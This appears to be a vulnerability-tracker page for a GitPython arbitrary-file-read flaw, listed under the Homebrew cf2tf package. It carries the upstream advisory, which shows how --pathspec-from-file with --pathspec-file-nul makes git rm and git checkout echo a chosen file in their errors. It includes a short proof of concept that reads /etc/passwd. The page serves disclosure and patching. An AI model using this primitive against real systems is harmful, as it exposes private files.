CVE-2026-76217: GitPython · Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()
Affects cf2tfSource GCVE Database
Not known to be exploited · CVSS 7.1 High : upgrade to 0.9.2_8 soon.
Data as of 26 Oct 2026, 17:16 UTC
- EPSS
- 0.4% chance of exploitation in 30 days – higher than 35% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 0.9.2_8
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 19 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade cf2tf to 0.9.2_8.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Homebrewcf2tfpkg:brew/cf2tfOther threats | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
## Summary `IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout` with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`** makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the entire contents of a caller-chosen file are returned to the caller in band. This is the same primitive as Instance 2 of [GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()` with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and cleared. ## Prior art, and why I am filing rather than commenting GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment *"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*: | Call site | git command | that advisory's assessment | |---|---|---| | `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found | | `IndexFile.move()` | `mv` | same | | `HEAD.reset()` | `reset` | same | | `HEAD.checkout()` | `checkout` | same | That assessment is very nearly right, and I think that is why it held: with `--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec. ## Root cause `git/index/base.py:991-1043`: ```python def remove(self, items, working_tree=False, **kwargs): ... removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043 ``` `git/refs/head.py:237-268`: ```python def checkout(self, force: bool = False, **kwargs: Any): ... self.repo.git.checkout(self, **kwargs) # line 268 ``` Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call. ## Proof of concept ```python from git import Repo from git.exc import GitCommandError repo = Repo("/path/to/repo") kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True) try: repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw) except GitCommandError as e: print(e.stderr) # <- entire file contents ``` Observed on published 3.1.57, against a canary file holding three marked lines: ``` [PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band stderr: 'fatal: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any files' [PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band stderr: 'error: pathspec 'LINE1-CANARY-4242 LINE2-SECRET-7777 LINE3-TAIL-9999 ' did not match any file(s) known to git' [PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses [PASS] PRECISION: the GUARDED checkout-index leaks 0/3 ``` The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere. ## Scope correction to the table above Of the four sites cleared with that sentence, **two disclose and two do not**: | Call site | disclosed? | |---|---| | `IndexFile.remove()` → `git rm` | **yes, full file** | | `Head.checkout()` → `git checkout` | **yes, full file** | | `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs | | `IndexFile.move()` → `git mv` | no | The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.
References
- github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-76217 (opens in a new tab)
- github.com/gitpython-developers/GitPython/pull/2204 (opens in a new tab)
- github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c (opens in a new tab)
- github.com/gitpython-developers/GitPython (opens in a new tab)
- github.com/gitpython-developers/GitPython/releases/tag/3.1.58 (opens in a new tab)
- vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file (opens in a new tab)